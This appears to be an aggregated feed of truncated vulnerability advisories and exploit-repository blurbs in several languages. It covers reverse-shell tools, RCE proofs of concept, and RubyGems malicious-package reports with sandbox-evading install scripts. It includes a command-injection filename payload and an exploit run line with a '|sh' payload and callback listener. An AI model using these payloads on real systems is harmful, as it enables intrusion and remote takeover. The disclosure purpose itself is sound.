Astra Linux – Vulnerability in Erlang

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server might allow an attacker to perform unauthenticated remote code execution RCE. By exploiting a flaw in the SSH protocol’s message handling, a malicious...

POC-CVE-2026-19681

CVE-2026-19681 — حقن أوامر في معالجة رفع الملفات يتطلب مصادقة الحالة: مؤكَّدة على مختبر 6.7.2-14.el9 2026-08-20. تم تجهيز اسم الملف p;sleep$IFS20;-EvvfJk عبر POST /rest/file/upload تحمل بادئة context المحارف الخاصة، ثم تعطّل POST /rest/auditFile type=scapLinux, version=1.2 لمدة 20.1 ثانية بالضبط...

CVE-2026-4480

एक्सप्लॉइट निष्पादित करें: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

RevShell

🔥 RevShell प्रोजेक्ट — उन्नत विंडोज रिवर्स शेल ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒ ▒▀█░ ▒██████▒▒░▓█▒░██▓...

Codiad-CVE-2018-14009

codiad स्थापित करें @ git clone https://github.com/Codiad/Codiad.git पुनरुत्पादन के चरण 1. Codiad 2.8.4 नवीनतम संस्करण के साथ ubuntu सर्वर पर एक संवेदनशील वातावरण स्थापित करें @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 تجاوز آلية حماية تسجيل الدخول في بلوديت وتحميل ملف ضار لاستدعاء قشرة عكسية rev shell...

MAL-2026-17581 Malicious code in bip39-wordlist-utils (RubyGems)

RubyGems runs this gem's native extension script ext/bip39-wordlist-utils/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over ...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

Abyssal

🔥 Abyssal CVE-2026-24061 Telnet भेद्यता स्कैनर और एक्सप्लॉइट गहराई से, हम उठते हैं। मल्टी-थ्रेडेड, गलत-सकारात्मक पहचान, सफलता पर इंटरैक्टिव रूट शेल। 👨‍💻 लेखक के बारे में यह प्रोजेक्ट एक अनुभवी आईटी पेशेवर द्वारा बनाया गया है, जिसके पास नेटवर्क सुरक्षा, बुनियादी ढाँचे और सॉफ्टवेयर विकास में दशकों का...

PinTheft-asm

pintheft-asm Réécriture de PinTheft-go en assembleur x86-64 pur parce que pourquoi pas. make ./pintheft Lance un shell root. La commande de restauration est affichée à la sortie. Pour plus de détails → PoC original...

Malicious code in etherdum.rb (RubyGems)

RubyGems runs this gem's native extension script ext/etherdum.rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minute...

MAL-2026-17591 Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in crylto-toolbox (RubyGems)

RubyGems runs this gem's native extension script ext/crylto-toolbox/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17600 Malicious code in etheremu.rb (RubyGems)

RubyGems runs this gem's native extension script ext/etheremu.rb/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minute...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 رفع شيل عكسي لـ CuteNews 2.1.2 نسخة معدلة قليلاً من Mt-Code POC والتي تنتج شيل عكسي كامل بدلاً من شيل ويب. يستخدم هذا الاستغلال PentestMonkey PHP Reverse Shell الشهير. تثبيت pip install -r requirements.txt مثال على الاستخدام: إنشاء مستخدم على التطبيق تشغيل ما يلي python exploit.py...

ZeroLogon-to-Shell

هذا هو مزيج من كود zerologontester.py وأداة evil-winrm للحصول على شل. لقد أضفت فقط "os.system" لاستخدام evil-winrm. المتطلبات: للحصول على تجزئة NTLM الخاصة بالمسؤول، أنصحك باستخدام secretsdump أداة من impacket وبالطبع، تحتاج إلى تثبيت evil-winrm هذا مجرد كود بسيط لوضع كل شيء تقريبًا معًا. بعض...

FEP3370-advanced-ethical-hacking

DynoRoot CVE-2018-1111 المشروع النهائي لمقرر الاختراق الأخلاقي المتقدم في KTH، ستوكهولم يعرض هذا المشروع ثغرة أمنية معروفة في أجهزة Fedora وRedHat تتعلق بتطبيق غير آمن من جانب العميل لبروتوكول الإعداد الديناميكي للمضيفين DHCP. يمكن لخادم DHCP مارق صياغة عروض DHCP بحمولة خبيثة يتم تنفيذها في غلاف...

Malicious code in lighthing-invoice (RubyGems)

RubyGems runs this gem's native extension script ext/lighthing-invoice/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17606 Malicious code in lighthing-invoice (RubyGems)

RubyGems runs this gem's native extension script ext/lighthing-invoice/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...